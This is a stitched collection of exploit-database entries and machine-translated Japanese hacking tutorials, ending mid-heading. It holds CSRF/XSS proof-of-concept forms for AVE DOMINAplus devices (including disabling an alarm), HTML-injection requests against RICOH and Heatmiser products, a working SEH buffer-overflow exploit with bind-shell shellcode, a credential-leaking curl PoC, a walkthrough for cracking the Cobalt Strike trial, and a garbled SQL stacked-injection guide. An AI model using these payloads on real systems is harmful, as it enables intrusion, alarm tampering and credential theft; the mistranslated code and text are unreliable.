# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5547.php

AVE DOMINAplus <=1.10.x CSRF/XSS Vulnerabilities


Vendor: AVE S.p.A.
Product web page: https://www.ave.it | https://www.domoticaplus.it
Affected version: Web Server Code 53AB-WBS - 1.10.62
                  Touch Screen Code TS01 - 1.0.65
                  Touch Screen Code TS03x-V | TS04X-V - 1.10.45a
                  Touch Screen Code TS05 - 1.10.36
                  Models: 53AB-WBS
                          TS01
                          TS03V
                          TS04X-V
                          TS05N-V
                  App version: 1.10.77
                  App version: 1.10.65
                  App version: 1.10.64
                  App version: 1.10.62
                  App version: 1.10.60
                  App version: 1.10.52
                  App version: 1.10.52A
                  App version: 1.10.49
                  App version: 1.10.46
                  App version: 1.10.45
                  App version: 1.10.44
                  App version: 1.10.35
                  App version: 1.10.25
                  App version: 1.10.22
                  App version: 1.10.11
                  App version: 1.8.4
                  App version: TS1-1.0.65
                  App version: TS1-1.0.62
                  App version: TS1-1.0.44
                  App version: TS1-1.0.10
                  App version: TS1-1.0.9

Summary: DOMINAplus - Sistema Domotica Avanzato. Advanced Home Automation System.
Designed to revolutionize your concept of living. DOMINA plus is the AVE home
automation proposal that makes houses safer, more welcoming and optimized. In
fact, our home automation system introduces cutting-edge technologies, designed
to improve people's lifestyle. DOMINA plus increases comfort, the level of safety
and security and offers advanced supervision tools in order to learn how to
evaluate and reduce consumption through various solutions dedicated to energy
saving.

Desc: The application suffers from multiple CSRF and XSS vulnerabilities. The
application allows users to perform certain actions via HTTP requests without
performing any validity checks to verify the requests. This can be exploited
to perform certain actions with administrative privileges if a logged-in user
visits a malicious web site. Input passed to several GET/POST parameters is not
properly sanitised before being returned to the user. This can be exploited to
execute arbitrary HTML and script code in a user's browser session in context
of an affected site.

Tested on: GNU/Linux 4.1.19-armv7-x7
           GNU/Linux 3.8.13-bone50/bone71.1/bone86
           Apache/2.4.7 (Ubuntu)
           Apache/2.2.22 (Debian)
           PHP/5.5.9-1ubuntu4.23
           PHP/5.4.41-0+deb7u1
           PHP/5.4.36-0+deb7u3


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5547
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5547.php


06.10.2019

--


Reflected XSS in User and Password POST parameters in login.php:
--
<html>
  <body>
    <form action="http://192.168.1.10/login.php" method="POST">
      <input type="hidden" name="cmd" value="doLogin" />
      <input type="hidden" name="User" value=""><marquee>SLIDERS<&#47;marquee>" />
      <input type="hidden" name="Password" value=""><script>confirm&#40;251&#41;<&#47;script>" />
      <input type="hidden" name="btnLogin" value="Login" />
      <input type="submit" value="Send" />
    </form>
  </body>
</html>


Example CSRF schedule temperature for day, afternoon, night: 19.0, 18.0, 15.0
--
GET /bridge.php?command=STC&parameter=25,1,1&dati=190,180,150,1454025386,85,-1433059328, HTTP/1.1


Example CSRF enable/disable alarm:
--
GET /antitheft.php?command=Attiva&codice=32&rnd=0.8815229032260505 HTTP/1.1
            

0x00概要

Cobaltstrikeは、イントラネットに浸透する商用リモートコントロールソフトウェアです。カスタムスクリプトの拡張をサポートし、非常に強力な機能を備えています。しばらく前に、Githubの優しい人がCobaltstrike 3.12の試行バージョンをリリースし、LZ1Yはすぐにひび割れたバージョンをリリースしました。熱狂的な兄弟(トライアルバージョンにはそのようなファイルはありません)が提供するXOR64.binで、比較的完璧な最新バージョンが誕生しました。最新のトライアルバージョンがどのように完全にクラックされたかを見てみましょう。

0x02は開始

Cobaltstrike(以下、CSと呼ばれる)メインコードはJavaで開発されており、それを逆転させる方がより友好的です。 jd-guiを使用して、cobaltstrike.jarファイルを逆コンパイルすると、コードがほとんど割れていないことがわかります。 Javaソースコードに混乱はありません。ただし、分解されたソースコードを表示する場合、//内部エラー//は多くの場所に表示されます。ここでは、Javaの逆コンパイルツールLuytenをお勧めします。Luytenは、Cobaltstrike.jarソースコードを取得するためにほぼ100%の逆コンパイルを取得できます。

CSライセンス処理ロジックは、common/license.javaファイルにあります。

パッケージ共通。

攻撃者をインポート。*;

javax.swing。*;

java.awt。*;

パブリッククラスライセンス

{

プライベートな静的長寿命;

今日のプライベート静的長い。

プライベート静的なロングスタート。

プライベートの静的な長い差。

private static long gettimesincestart(){

final prefs options=prefs.getPreferences();

license.today=system.currenttimemillis();

license.start=options.getLongNumber( 'cobaltstrike.start.int'、0l);

if(license.start==0l){

options.set( 'cobaltstrike.start.int'、license.today + '');

options.save();

license.start=license.today;

}

return license.difference=(license.today -license.start)/86400000l;

}

public static void checklicensegui(最終認証認証){

getTimesIncestart();

if(license.difference license.life || license.today -clense.start 0l){

joptionpane.showmessagedialog(null、 'あなたのコバルトストライクトライアルは現在期限切れになりました。

System.Exit(0);

}

それ以外{

final long left=license.life -license.difference;

文字列form=left + 'day';

if(left!=1L){

form +='s';

}

commonutils.print_warn( 'これはコバルトストライクのトライアルバージョンです。あなたは' + form + 'トライアルの左にあります。コバルトストライクを購入した場合。更新プログラムを実行してライセンスを入力します。');

commonutils.print_trial( '警告!このトライアルは標準的な防御に巻き込まれるために *構築されます。ライセンス製品にはこれらの制限がありません。

joptionpane.showmessagedialog(null、 'これはコバルトストライクのトライアルバージョンです。

}

}

public static boolean iStrial(){

trueを返します。

}

public static void checklicenseconsole(最終認証認証){

getTimesIncestart();

if(license.difference license.life || license.today -clense.start 0l){

commonutils.print_error( 'コバルトストライクトライアルが期限切れになりました。ライセンスを購入し、ソフトウェア更新機能を使用して続行してください。詳細については、 https://www.cobaltstrike.com/');

System.Exit(0);

}

それ以外{

final long left=license.life -license.difference;

文字列form=left + 'day';

if(left!=1L){

form +='s';

}

commonutils.print_warn( 'これはコバルトストライクのトライアルバージョンです。あなたは' + form + 'トライアルの左にあります。コバルトストライクを購入した場合。更新プログラムを実行してライセンスを入力します。');

commonutils.print_trial( '警告!このトライアルは標準的な防御に巻き込まれるために *構築されます。ライセンス製品にはこれらの制限がありません。

}

}

static {

license.life=21l;

license.today=0l;

license.start=0l;

license.difference=0l;

}

}

コードロジックは非常に明確です。ここには、パッチする2つの方向があります。

ライセンスを変更します。LifeInfinite Extensionトライアル

iStrial()の返品値を変更し、公式バージョンに偽造します

CSの多くの場所でのトライアルバージョンと公式バージョンの処理ロジックは異なるため、iStrial()の返品値を変更した後、ISTrial()関数が呼び出されるすべての場所を変更してコードを調整する必要があります。さらに、CSのトライアルバージョンは、いくつかの機能指紋と制限を残しており、対応する機能コードも削除する必要があります。

変更と再パッケージは、ひび割れのアイデアがわかったので、ソースコードを変更して再コンパイルする方法を見てみましょう。 Javaプログラミングでは、JARツールを使用して、一連の.classファイルをJARパッケージにパッケージ化して、他のJavaプログラムを使用することができます。また、JARパッケージの.classファイルのコンテンツを変更して、再コンパイルしてパッケージ化することもできます。たとえば、example.classをDemo.jarで変更して再コンパイルするプロセスは次のとおりです。

jd-gui、luyten、その他のツールを使用して、demo.jarパッケージのクラスをソースコードに逆コンパイルし、exple.javaを抽出します。

jar xvf demo.jarを実行してdemo.jarを解凍してjarパッケージのサブファイルを取得し(現在のディレクトリに解凍されることに注意してください)、example.javaファイルをexample.classファイルと同じディレクトリに配置します

javac -cp a.jar; b.jar; c.jar example.javaを再コンパイルして実行します。 (またはjavac -cp demo.jar emple.java)新しいExample.classファイルを取得します。

その中で、A.jar、B.jar、およびC.jarは依存関係であり、一般に、生の減圧Demo.jarパッケージに直接依存することができます。

コンパイルされたexample.classが元のexample.classファイルを置き換えることを確認してください(JD-GUIの逆コンパイルで表示できます)

Jar -uvf demo.jar com/some/path/example.classを実行するには、demo.jarパッケージを更新します

JARパッケージでクラスファイルを更新する場合、新しいクラスファイルディレクトリパスを元のパッケージパスと一致させる必要があります。たとえば、aggressor.aggressorclient.javaを変更して再コンパイルした後、JARパッケージを更新するコマンドは次のとおりです。

kingx modified_java_files jar -uvf cobaltstrike-with-xor64.jar aggressor/aggressorclient*.class

: aggressor/aggressorclient $ 1.クラス(入力=650)(出力=403)(圧縮38%)の追加

: aggressor/aggressorclient $ 2.class(input=1263)(output=704)(圧縮44%)の追加

: aggressor/aggressorclient.class(input=11115)(output=5196)(圧縮53%)の追加

おそらく問題に遭遇しました。変更されたJavaファイルをクラスファイルに再コンパイルすると、多くの奇妙なエラーが発生する可能性があります。分解されたソースコードのエラーによって引き起こされる場合があります。現時点では、Luyten、Jad、JD-GUIなどの逆コンパイルツールを組み合わせて、正しいソースコードに復元してから再コンパイルすることができます。例:aggressorclient.java、jad aggressor/aggressorclient*.classおよびluytenの分解ソースコードは異なります。

0x03試行バージョンパッチの詳細な分析

TIPS:次のコードスニペットは、行の最初の行です - 削除を表し、 +は新しい表現

パッチトライアルバージョンはcommon.licenseを変更し、checklicensegui()およびchecklicenseconsole()関数ボディを削除し、iStrial()のreturn値をtrueに変更します

メインプログラムタイトルAggressor.aggressorclientを変更し、getTitle()関数を変更します

リスナーの数の制限を解放します。 TeamServerは、デフォルトでのみ1人のリスナーのみを聴くことができます。コードを変更して制限を削除できます。

aggressor.dialogs.listenerdialog、次のコードを削除します。

.

else if(ristener.isegressbeacon(payload)datautils.isbeacondefined(this.data)!name.equals(datautils.getegressbeaconlistener(this.data)){

Dialogutils.Showerror( 'チームサーバーごとに1つの出口ビーコンのみを定義できます。

}

.

3。 EICARバックドアフィンガープリント機能を削除します

試験バージョンには、EICAR機能文字を備えたいくつかの場所があります:x5o!p%@ap [4 \ pzx54(p^)7cc)7} $ eicar-standard-antivirus-test-file!$ h+h*

common.listenerconfig

パッド()機能を変更します:

result.append( '5o!p%@ap [4 \\ pzx54(p^)7cc)7} $ eicar-standard-antivirus-test-file!$ h+h*\ u0000');

result.append( '123 \ u0000');

リソース/template.x64.ps1、resources/template.x86.ps1

$ eicar='x5o!p%@ap [4 \ pzx54(p^)7cc)7} $ eicar-standard-antivirus-test-file!$ h+h*'

$ eicar=''

server.profileedits

c2profile.addcommand('。http-get.server '、'!header '、' x-malware: x5o!p%@ap [4 \\ pzx54(p^)7cc)7} $ eicar-standard-test-file!$ h+h*');

c2profile.addcommand( '。http-post.server'、 '!header'、 'x-malware: x5o!p%@ap [4 \\ pzx54(p^)7cc)7} $ eicar-standard-antivirus-test-file!$ h+h*');

c2profile.addcommand( '。http-stager.server'、 '!header'、 'x-malware: x5o!p%@ap [4 \\ pzx54(p^)7cc)7} $ eicar-standard-antivirus-test-file!$ h+h*');

c2profile.addcommand( '。stage.transform-x86'、 'append'、 'x5o!p%@ap [4 \\ pzx54(p^)7cc)7} $ eicar-standard-antivirus-test-file!$ h+h*');

c2profile.addcommand( '。stage.transform-x64'、 'append'、 'x5o!p%@ap [4 \\ pzx54(p^)7cc)7} $ eicar-standard-antivirus-test-file!$ h+h*');

common.artifactutils

ライセンスの返品値が虚偽に変更されているため、次の段落が変更されているかどうかは効果があります。

if(license.istrial()){

Packer.AddString( 'x5o!p%@ap [4 \\ pzx54(p^)7cc)7} $ eicar-standard-antivirus-test-file!$ h+h*');

commonutils.print_trial( 'eicar文字列を' + sに追加);

}

xor64.binを追加してペイロードを生成すると、common.artifactutilsのxorencode()がエンコードのために呼び出されます。

public static byte [] _xorencode(final byte [] data、final string arch){

assertutils.testarch(arch);

if( 'x86'.equals(arch)){

final byte [] decoder=xorstub();

final byte [] payload=xorencoder.encode(data);

return commonutils.join(decoder、payload);

}

if( 'x64'.equals(arch)){

final byte [] decoder=commonutils.readresource( 'resources/xor64.bin');

final byte [] payload=xorencoder.encode(data);

return commonutils.join(decoder、payload);

}

新しいバイトを返します[0];

}

public static byte [] xorencode(final byte [] data、final string arch){

if(license.istrial()){

commonutils.print_trial( 'disabled' + arch + 'ペイロード段階エンコード');

データを返す;

}

assertutils.test(data.length 16384、 'xorencode stager(または他の小さなもの)で使用されます');

return _xorencode(data、arch);

}

トライアルバージョンはペイロードステージエンコーディングを実行しないため、試用版パッケージにはXor.bin/xor64.binファイルは含まれません。これらの2つのファイルが存在する場合は、リソース/xor.binおよびリソース/xor64.binパスに追加できます。 GitHubの熱狂的な男はXOR64生成スクリプトを提供します:https://Github.com/verctor/cs_xor64

ソースコードを1つずつ変更した後、それを再コンパイルしてCobaltstrike.jarパッケージに更新し、元のJARパッケージをコピーして交換します。

出典:https://kingx.me/cobaltstrike-patch.html?nsukey=%2Bdg38hxq7jl6bumazqcy6jvfumtbx1gsfudvo9fixqpb%2fkqderiienvokw3wflt8kkenwwswswwswswswswswwswwswwswwswwswwswwswwswwwswwswwswwswwswwswwswwswwswwwswwwsq0d8e1w2m77 kjzy9tgrzayatztd6xzibijhfgirssm4iol9c4txrhlv%2banffkxbzeg0o9gxtcj%2f3 JK%2BBOXBXM13S71RM3RLGZQQQYWYH1PXD%2BDQQNYDS7ZSJNNGHZQVEFKQW6KQ%3D%3D

# Exploit Title: RICOH SP 4510SF Printer - HTML Injection
# Date: 2019-05-06 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: http://support.ricoh.com/bb/html/dr_ut_e/re1/model/sp4510/sp4510.htm
# Software: RICOH Printer
# Product Version: SP 4510SF
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection
# CVE: N/A

# Description :
# An HTML Injection vulnerability has been discovered on the RICOH SP 4510SF 
# via the /web/entry/en/address/adrsSetUserWizard.cgi entryNameIn parameter.


# HTTP POST Request :

POST /web/entry/en/address/adrsSetUserWizard.cgi HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 218
Origin: http://XXX.XXX.XX.XXX
Connection: close
Referer: http://189.72.192.16/web/entry/en/address/adrsList.cgi
Cookie: risessionid=058916016024825; cookieOnOffChecker=on; wimsesid=314062051

mode=ADDUSER&step=BASE&wimToken=1273767750&entryIndexIn=00001&entryNameIn=%22%3E%3Ch1%3Eismailtasdelen&entryDisplayNameIn=%22%3E%3Ch1%3Eismailtasdelen&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1&entryTagInfoIn=1

# HTTP Response :

HTTP/1.1 200 OK
Date: Fri, 20 Dec 2019 07:59:19 GMT
Server: Web-Server/3.0
Content-Type: text/html; charset=UTF-8
Expires: Fri, 20 Dec 2019 07:59:19 GMT
Pragma: no-cache
Cache-Control: no-cache
Set-Cookie: cookieOnOffChecker=on; path=/
Connection: close

[14]
            
# Exploit Title: Domain Quester Pro 6.02 - Stack Overflow (SEH)
# Date: 2019-12-26
# Exploit Author: boku
# Software Vendor: http://www.internet-soft.com/
# Software Link: http://www.internet-soft.com/DEMO/questerprosetup.exe
# Version: Version 6.02
# Tested on: Microsoft Windows 7 Enterprise - 6.1.7601 Service Pack 1 Build 7601 (x86-64)
# Recreate:
#   1) Generate 'bind9999.txt' payload using python 2.7.x
#   2) On target Windows machine, open the file 'bind9999.txt' with notepad, then Select-All & Copy
#   3) Install & Open Domain Quester Pro 6.02
#   4) Under 'Domain Name Keywords', click 'Add'
#      - A textbox will appear
#   5) Paste payload from generated txt file into textbox
#   6) Click 'OK'
#      - The program will freeze & a bind shell will be listening on tcp port 9999, on all interfaces

#!/usr/bin/python

File = 'bind9999.txt'
try:
    # SEH triggered by exception 'Access violation when reading [eax]'
    # - Crash at Instruction: 00403AB8    8B10       mov edx, dword ptr ds:[eax]
    # - EAX is overwritten by our overflow
    # - SEH overwriten at 4116 bytes
    # Bad Characters: '\x00\x02\x03\x04\x05\x06\x07\x08\x0a\x0c\x0d'
    # - The above bytes truncate the buffer
    nops     = '\x90'*400
    # msfvenom -p windows/shell_bind_tcp LPORT=9999 -v shellcode -a x86 --platform windows -b '\x00\x02\x03\x04\x05\x06\x07\x08\x0a\x0c\x0d' --format python
    #   x86/call4_dword_xor chosen with final size 352
    shellcode =  b""
    shellcode += b"\x2b\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0"
    shellcode += b"\x5e\x81\x76\x0e\xa3\xda\x2f\x1f\x83\xee\xfc"
    shellcode += b"\xe2\xf4\x5f\x32\xad\x1f\xa3\xda\x4f\x96\x46"
    shellcode += b"\xeb\xef\x7b\x28\x8a\x1f\x94\xf1\xd6\xa4\x4d"
    shellcode += b"\xb7\x51\x5d\x37\xac\x6d\x65\x39\x92\x25\x83"
    shellcode += b"\x23\xc2\xa6\x2d\x33\x83\x1b\xe0\x12\xa2\x1d"
    shellcode += b"\xcd\xed\xf1\x8d\xa4\x4d\xb3\x51\x65\x23\x28"
    shellcode += b"\x96\x3e\x67\x40\x92\x2e\xce\xf2\x51\x76\x3f"
    shellcode += b"\xa2\x09\xa4\x56\xbb\x39\x15\x56\x28\xee\xa4"
    shellcode += b"\x1e\x75\xeb\xd0\xb3\x62\x15\x22\x1e\x64\xe2"
    shellcode += b"\xcf\x6a\x55\xd9\x52\xe7\x98\xa7\x0b\x6a\x47"
    shellcode += b"\x82\xa4\x47\x87\xdb\xfc\x79\x28\xd6\x64\x94"
    shellcode += b"\xfb\xc6\x2e\xcc\x28\xde\xa4\x1e\x73\x53\x6b"
    shellcode += b"\x3b\x87\x81\x74\x7e\xfa\x80\x7e\xe0\x43\x85"
    shellcode += b"\x70\x45\x28\xc8\xc4\x92\xfe\xb2\x1c\x2d\xa3"
    shellcode += b"\xda\x47\x68\xd0\xe8\x70\x4b\xcb\x96\x58\x39"
    shellcode += b"\xa4\x25\xfa\xa7\x33\xdb\x2f\x1f\x8a\x1e\x7b"
    shellcode += b"\x4f\xcb\xf3\xaf\x74\xa3\x25\xfa\x75\xab\x83"
    shellcode += b"\x7f\xfd\x5e\x9a\x7f\x5f\xf3\xb2\xc5\x10\x7c"
    shellcode += b"\x3a\xd0\xca\x34\xb2\x2d\x1f\x84\xd5\xa6\xf9"
    shellcode += b"\xc9\xca\x79\x48\xcb\x18\xf4\x28\xc4\x25\xfa"
    shellcode += b"\x48\xcb\x6d\xc6\x27\x5c\x25\xfa\x48\xcb\xae"
    shellcode += b"\xc3\x24\x42\x25\xfa\x48\x34\xb2\x5a\x71\xee"
    shellcode += b"\xbb\xd0\xca\xcb\xb9\x42\x7b\xa3\x53\xcc\x48"
    shellcode += b"\xf4\x8d\x1e\xe9\xc9\xc8\x76\x49\x41\x27\x49"
    shellcode += b"\xd8\xe7\xfe\x13\x1e\xa2\x57\x6b\x3b\xb3\x1c"
    shellcode += b"\x2f\x5b\xf7\x8a\x79\x49\xf5\x9c\x79\x51\xf5"
    shellcode += b"\x8c\x7c\x49\xcb\xa3\xe3\x20\x25\x25\xfa\x96"
    shellcode += b"\x43\x94\x79\x59\x5c\xea\x47\x17\x24\xc7\x4f"
    shellcode += b"\xe0\x76\x61\xdf\xaa\x01\x8c\x47\xb9\x36\x67"
    shellcode += b"\xb2\xe0\x76\xe6\x29\x63\xa9\x5a\xd4\xff\xd6"
    shellcode += b"\xdf\x94\x58\xb0\xa8\x40\x75\xa3\x89\xd0\xca"
    jmp2nops   = '\xe8\xff\xff\xff\xff' # call +4       // This call will land us at the last \xff of our call instruction
    jmp2nops  += '\xc3'                 # ret/inc ebx   // Since EIP is at \xff after call, this will be interpruted as \xff\xc3 (inc ebx)
    jmp2nops  += '\x59'                 # pop ecx       // Pop the memory location from the call instruction that was pushed onto the stack into the ECX register
    jmp2nops  += '\x31\xd2'             # xor edx, edx  // Clear the EDX register. We are going to jump to the beginning of our buffer.
    jmp2nops  += '\x66\x81\xca\x04\x10' # or dx, 4090   // EDX is now equal to 0x00004100.
    jmp2nops  += '\x66\x29\xd1'         # sub ex, dx    // We subtract 4100 bytes from our memory location in the ECX register.
    jmp2nops  += '\xff\xe1'             # jmp ecx       // Now we jump back to the beginning of our buffer; into our NOP sled.
    offset     = '\x41' * (4116-len(nops+shellcode+jmp2nops))
    nSEH       = '\xeb\xeb\x90\x90'     # jmp short -22 (to jmp2nops)
    # 0x00400000 [questpro.exe]         | Rebase: False | ASLR: False | SafeSEH: False 
    # 0x0042666b [questpro.exe]         | pop ecx + pop ebp + ret  | {PAGE_EXECUTE_READ} 
    SEH        = '\x6b\x66\x42'         # SEH 3 byte overwrite
    payload    = nops+shellcode+offset+jmp2nops+nSEH+SEH
    f          = open(File, 'w')
    f.write(payload)
    f.close()
    print File + ' created successfully '
except:
    print File + ' failed to create'
            
# Exploit: MyDomoAtHome REST API Domoticz ISS Gateway 0.2.40 - Information Disclosure
# Date: 2019-12-30
# Author: LiquidWorm
# Vendor: Emmanuel
# Product web page: https://github.com/empierre/MyDomoAtHome
# https://www.domoticz.com/wiki/ImperiHome
# https://docs.imperihome.com/app/iss
# Affected version: 0.2.40
# Advisory ID: ZSL-2019-5555
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5555.php

MyDomoAtHome (MDAH) REST API Domoticz ISS Gateway 0.2.40 Information Disclosure


Vendor: Emmanuel
Product web page: https://github.com/empierre/MyDomoAtHome
                  https://www.domoticz.com/wiki/ImperiHome
                  https://docs.imperihome.com/app/iss
Affected version: 0.2.40

Summary: REST Gateway between Domoticz and Imperihome ISS. Domoticz is a home automation
system with a pretty wide library of supported devices, ranging from weather stations to
smoke detectors to remote controls, and a large number of additional third-party integrations
are documented on the project's website. It is designed with an HTML5 frontend, making it
accessible from desktop browsers and most modern smartphones, and is lightweight, running
on many low-power devices like the Raspberry Pi.

Desc: MyDomoAtHome REST API is affected by an information disclosure vulnerability due to
improper access control enforcement. An unauthenticated remote attacker can exploit this,
via a specially crafted request to gain access to sensitive information.

Tested on: NodeJS: 10.15.0, 8.15.1, 8.15.0, 8.11.1, 8.9.4, 4.8.7, 4.2.2
           Webmanager/Engine: EJS
           Renderer: Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2019-5555
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5555.php


07.11.2019

--


--snip--
Device Type string: DevCamera
Param Key        Description
----------------------------
localjpegurl     Local URL to the JPEG snapshot of the camera (Note : login/pass can be passed like this http://login:pass@url)
localmjpegurl    Local URL to the camera's MJPEG stream
remotejpegurl    Remote URL to the JPEG snapshot of the camera
remotemjpegurl   Remote URL to the camera's MJPEG stream
--snip--


PoC #1:
-------

root@kali:~/domoticz# curl -s http://192.168.0.100:3001/devices |tail -c $((100+850))
[{"value":"http://admin:s3cr3t0P4ssw0rduz@192.168.0.50:8083/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=s3cr3t0P4ssw0rduz","key":"localjpegurl"},{"value":"http://192.168.0.50:8083/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=s3cr3t0P4ssw0rduz","key":"remotejpegurl"}],"name":"Extérieur","type":"DevCamera","id":"2_cam","room":"Switches"},{"params":[{"value":"http://admin2:An0th3rs3cr3tp4ss@192.168.0.15:8084/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin2&pwd=An0th3rs3cr3tp4ss","key":"localjpegurl"},{"value":"http://192.168.0.50:8083/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=s3cr3t0P4ssw0rduz","key":"remotejpegurl"}],"name":"cuisine","type":"DevCamera","id":"3_cam","room":"Switches"},{"params":[{"value":"http://127.0.0.1:8080/uvccapture.cgi","key":"localjpegurl"},{"value":"http://192.168.0.50:8083/cgi-bin/CGIProxy.fcgi?cmd=snapPicture2&usr=admin&pwd=s3cr3t0P4ssw0rduz","key":"remotejpegurl"}],"name":"uvccam","type":"DevCamera","id":"4_cam","room":"Switches"}]}


PoC #2:
-------

root@kali:~/domoticz# curl -s http://192.168.1.100:3001/devices |tail -c $((200-22))
{"id":"C0","name":"Portail","type":"DevCamera","room":"Switches","params":[{"key":"localjpegurl","value":"http://admin:y3T4n0ther1&&@http://192.168.1.210/doc/page/preview.asp"}]}]}
            
# Exploit Title: Heatmiser Netmonitor 3.03 - HTML Injection
# Date: 2019-12-22 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.heatmiser.com/en/
# Hardware Link: https://www.zoneregeling.nl/heatmiser/netmonitor-handleiding.pdf
# Software: Netmonitor v3.03
# Product Version: Netmonitor v3.03
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection
# CVE: N/A

# Description :
# Heatmiser Net Monitor v3.03 allows HTML Injection via the
# outputSetup.htm outputtitle parameter. The HTML Injection
# vulnerability was discovered in v3.03 version of Net Monitor
# from the Heatmiser manufacturer. This vulnerability is
# vulnerable to hardware that use this software.


# HTTP Post Request :

POST /outputSetup.htm HTTP/1.1
Host: XXX.XXX.XXX.XXX
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 95
Origin: http://XXX.XXX.XXX.XXX
Connection: close
Referer: http://TARGET/outputSetup.htm
Upgrade-Insecure-Requests: 1

outputtitle=%22%3E%3Cmarquee%3ETEST%23undefined%23undefined%23undefined%23undefined%23undefined

# HTTP Response :

HTTP/1.1 200 OK
Date: Sun, 22 Dec 2019 20:25:22 GMT
Server: Z-World Rabbit
Connection: close
Content-Type: text/html
            
# Exploit Title: RICOH Web Image Monitor 1.09 - HTML Injection
# Date: 2019-05-06 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ricoh.com/
# Hardware Link: http://support-download.com/services/device/webhlp/nb/gen/v140cc1/en/p_top010.html
# Software: RICOH Web Image Monitor
# Product Version: v1.09
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection
# CVE: N/A

# Descripton :
# It has been discovered that in the v1.09 version of Image Monitor from
# RICOH, HTML Injection can be run on the /web/entry/en/address/adrsSetUserWizard.cgi
# function. This vulnerability affected all hardware that uses the entire
# Image Monitor v1.09.

# Attack Vectors :

You can run HTML Injection on the entryNameIn and entryDisplayNameIn in the corresponding function.
HTML Injection Payload : "><h1>ismailtasdelen
            

0x00スタックインジェクションの定義

名詞の意味から積み重ねられた注入(スタックインジェクション)は、一緒に実行されるSQLステートメント(複数のエントリ)の束であることがわかります。これは実際の使用でも当てはまります。 MySQLでは、主なことはコマンドラインの最後に各ステートメントを追加することであることを知っています。ステートメントの終了を示します。このようにして、複数の文を一緒に使用できるかどうかを考えました。これは積み重ねられた注入と呼ばれます。

0x01スタッキングインジェクション原理

SQL、Semicolon(;)は、SQLステートメントの終了を表すために使用されます。 SQLステートメントを終了した後、次のステートメントを作成し続けると、それが一緒に実行されると想像してください。したがって、このアイデアはスタックインジェクションを作成します。ユニオンインジェクション(ユニオンインジェクション)も2つのステートメントをマージします。 2つに違いはありますか?違いは、UnionまたはUnionallによって実行されたステートメントのタイプが制限されており、クエリステートメントを実行するために使用できることです。一方、スタックインジェクションは任意のステートメントを実行できることです。たとえば、次の例。ユーザー入力:1; DeleteFromProductsサーバー側SQLステートメントは次のとおりです。Select*FromProductswhereProductid=1;削除クエリが実行されると、最初のアイテムがクエリ情報を表示し、2番目のアイテムがテーブル全体を削除します。

0x02スタックインジェクションの制限

スタックインジェクションの制限は、すべての環境を実行できるわけではなく、APIまたはデータベースエンジンによって制限される可能性があることです。もちろん、許可が不十分なのは、攻撃者がデータを変更したり、一部のプログラムを呼び出すことができない理由を説明することもできます。

kl1o5gkkung8696.gif

私の個人テスト環境はPHP+MySQLであり、実行できるため、この図は元のテキストから傍受されます。ここにはMySQL/PHPに疑問があります。しかし、私は個人的に、元の著者は私のバージョンとは異なるかもしれないと推定しています。前に述べましたが、スタッキングクエリは任意のSQLステートメントを実行できると述べましたが、この注入方法はあまり完全ではありません。私たちのWebシステムでは、コードは通常1つのクエリ結果のみを返すため、2番目のステートメントのスタックインジェクションはエラーを生成するか、結果を無視でき、フロントエンドインターフェイスのリターン結果を確認できません。したがって、データを読むときは、組合(組合)注入を使用することをお勧めします。同時に、スタックインジェクションを使用する前に、テーブル名、列名などのデータベース関連情報も知る必要があります。

0x03各データベースインスタンスの概要

このセクションでは、一般的なデータベースの観点からいくつかのタイプのデータベースの関連する使用法を紹介します。データベースの基本操作、追加、削除、チェック、変更。以下には、データベース関連のスタックインジェクションの基本操作がリストされています。

1.mysql

(1)新しいテーブルを作成します

id=1;ユーザーのようにテーブルテストを作成します。

gkwrxtp11bx8697.gif

実行が成功したら、新しい成功したテーブルが作成されているかどうかを確認しましょう。

zwchuysibwm8698.gif

(2)上記の新しく作成されたテストテーブルを削除します

id=1;ドロップテーブルテストを選択します。

d4vuzzivl5n8699.gif

nibnwvkq3bi8700.gif

(3)クエリデータ

id=1;選択1,2,3を選択します。

x2vtsy25f5y8701.gif

(4)ファイルをロードします

id=1; select load_file( 'c:/tmpupbbn.php');を選択します。

w2j0t2pd5128702.gif

(4)データを変更します

ユーザーから[id=1;挿入ユーザー(id、username、password)values( '100'、 'new'、 'new')から[ユーザーから]を選択します。

oeiubzbwdbk8703.gif

xeht2mpxycf8704.gif

2。 SQL Server

(1)データテーブルの追加

[テスト]から[テストから]を選択します。テーブルSC3(ss char(8))を作成します。

w5fbf0atmiz8705.gif

(2)データテーブルを削除します

[テスト]から *テーブルSC3をドロップします。

zzzojczlkri8706.gif

(4)クエリデータ

1,2,3; select * from test;を選択します。

mjmrh04it0t8707.gif

(5)データを変更します

select * from test; update test set name='test' "id=3;

bnf1rczasou8708.gif

hacx0ucscsv8709.gif

(5)SQLServerで最も重要なストアドプロシージャの実行

